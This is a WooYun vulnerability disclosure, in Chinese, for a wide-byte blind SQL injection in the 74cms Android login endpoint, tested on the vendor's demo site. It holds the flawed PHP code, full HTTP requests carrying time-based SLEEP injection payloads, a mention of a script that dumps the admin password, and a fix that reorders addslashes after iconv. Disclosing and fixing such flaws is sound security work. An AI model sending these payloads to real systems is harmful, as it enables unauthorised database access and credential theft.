当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0110105

漏洞标题:骑士CMS某接口1处宽字节SQL盲注之三(官网demo测试)

相关厂商:74c,s.com

漏洞作者: 龟兔赛跑

提交时间:2015-04-27 10:04

修复时间:2015-07-31 10:07

公开时间:2015-07-31 10:07

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-27: 细节已通知厂商并且等待厂商处理中
2015-05-02: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-06-26: 细节向核心白帽子及相关领域专家公开
2015-07-06: 细节向普通白帽子公开
2015-07-16: 细节向实习白帽子公开
2015-07-31: 细节向公众公开

简要描述:

骑士CMS某接口1处宽字节SQL盲注(官网demo测试)

详细说明:

手机客户端1处接口存在宽字节SQL注入,无关键字过滤,理论上可以获取任意数据。

http://demo.74cms.com/android/login.php


对应代码:

10      $username=addslashes($username);
11 $password=addslashes($password);
12 $username=iconv("utf-8",QISHI_DBCHARSET,$username);
13 $password=iconv("utf-8",QISHI_DBCHARSET,$password);


$username经过iconv转换后直接进入了SQL,导致SQL注入。没有回显,只好时间延迟注入了。
0x01: "username": "%E9%8C%A6"返回数据库错误

POST http://demo.74cms.com/android/login.php HTTP/1.1
Host: demo.74cms.com
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: null
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 73
Cookie: safedog-flow-item=7308413BC1624F4F2DF983295AAE94E8; PHPSESSID=735536f52f85396245830255c85834c4
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
req={"androidkey":"123456","username": "%E9%8C%A6", "userpwd": "111111"}

1.png


0x02: "username": "%E9%8C%A6' A<A>ND (S<A>ELECT * F<A>ROM (SE<A>LECT(SL<A>EEP(1)))jmpX)#": 时间延迟

POST http://demo.74cms.com/android/login.php HTTP/1.1
Host: demo.74cms.com
Proxy-Connection: keep-alive
Content-Length: 132
Origin: chrome-extension://hgmloofddffdnphfgcellkdfbfbjeloo
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,ja;q=0.4
Cookie: safedog-flow-item=93D3A8628D75EC8B8C5ABA78A3011359; PHPSESSID=150adfcc32e61bbb17e5d0a5ac9ace18; QS[uid]=742; QS[username]=mytstcompany; QS[password]=22a945a2f53f35b24ed4a11b398dbcf9; QS[utype]=1; QS[pmscount]=1; bdshare_firstime=1429582026109
req={"androidkey":"123456","username": "%E9%8C%A6' A<A>ND (S<A>ELECT * F<A>ROM (SE<A>LECT(SL<A>EEP(1)))jmpX)#", "userpwd": "111111"}

2.png


0x03: "username": "%E9%8C%A6' A<A>ND (S<A>ELECT * F<A>ROM (SE<A>LECT(SL<A>EEP(5)))jmpX)#": 时间延迟

POST http://demo.74cms.com/android/login.php HTTP/1.1
Host: demo.74cms.com
Proxy-Connection: keep-alive
Content-Length: 132
Origin: chrome-extension://hgmloofddffdnphfgcellkdfbfbjeloo
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,ja;q=0.4
Cookie: safedog-flow-item=93D3A8628D75EC8B8C5ABA78A3011359; PHPSESSID=150adfcc32e61bbb17e5d0a5ac9ace18; QS[uid]=742; QS[username]=mytstcompany; QS[password]=22a945a2f53f35b24ed4a11b398dbcf9; QS[utype]=1; QS[pmscount]=1; bdshare_firstime=1429582026109
req={"androidkey":"123456","username": "%E9%8C%A6' A<A>ND (S<A>ELECT * F<A>ROM (SE<A>LECT(SL<A>EEP(5)))jmpX)#", "userpwd": "111111"}

3.png


写个代码取管理员密码:

python dbdump.py


4.png

漏洞证明:

1.png


2.png


3.png


4.png

修复方案:

$username=addslashes($username);
$password=addslashes($password);
$username=iconv("utf-8",QISHI_DBCHARSET,$username);
$password=iconv("utf-8",QISHI_DBCHARSET,$password);
=>
$username=iconv("utf-8",QISHI_DBCHARSET,$username);
$password=iconv("utf-8",QISHI_DBCHARSET,$password);
$username=addslashes($username);
$password=addslashes($password);

版权声明:转载请注明来源 龟兔赛跑@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-07-31 10:07

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无